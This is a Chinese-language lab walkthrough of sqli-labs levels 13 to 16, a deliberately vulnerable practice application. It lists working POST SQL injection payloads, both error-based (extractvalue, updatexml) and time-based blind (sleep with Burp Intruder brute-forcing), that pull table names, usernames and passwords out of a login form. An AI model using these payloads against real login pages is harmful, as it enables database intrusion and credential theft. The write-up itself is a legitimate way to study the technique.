http://127.0.0.1/sqli-labs/less-13/
基于POST单引号双注入变形
1,依然是一个登录框,POST型SQL注入
2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件
admin' 发生了报错,根据提示闭合方式是('')
admin') # 不发生报错,说明闭合方式正是('')
3,然后就是判断数据表的列数
admin') order by 2 #
admin') order by 3 #
说数据表不存在第三列,那么数据表就只有两列
4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名
1')and updatexml(1,concat(0x7e,(select database())),3)#
1')and extractvalue(1,concat(0x7e,(select database())),3)#
再爆出数据库下数据表名
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)))#
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1)))#
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1)))#
然后再爆出用户名和密码
1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
这个时候就可以直接拿intruder模块进行爆破了
偏移量作为变量,字典选择0-9
爆破出password也是同样的操作
http://192.168.99.74/sqli-labs/less-14/
第十四关 基于POST双引号双注入变形
payload:
admin"
admin" order by 2#
admin" order by 3#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1)))#
1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
http://192.168.99.74/sqli-labs/less-15/
第十五关 基于POST数值型注入
本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句
@$sql="SELECT username, password FROM users WHERE username='$uname' and
password='$passwd' LIMIT 0,1";
sql查询语句这里对 id 进行'id'的处理。
本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。
猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):
uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit
字典选取1-9
猜测数据库名第一位为s(ASCII表中a-z对应97-122):
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
由此根据排列payload1的顺序就能得到数据库名
猜测数据表名第一位为e(ASCII表中a-z对应97-122):
uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit
所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users
猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):
uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password
猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'
uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
得到第一个用户名Dumb,同理可得,由此爆破出密码
uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
http://192.168.99.74/sqli-labs/Less-16/
同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):
admin and if (1=1,sleep(5),0)
admin' and if (1=1,sleep(5),0)
admin') and if (1=1,sleep(5),0)
admin" and if (1=1,sleep(5),0)
admin")and if(1=1,sleep(5),0)
所以语句的闭合方式就是("admin"),区别于less-15
判断数据库名长度为8
uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit
猜测数据库名第一位为s(ASCII表中a-z对应97-122):
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
猜测数据表名第一位为e(ASCII表中a-z对应97-122):
uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit
猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):
uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'
uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit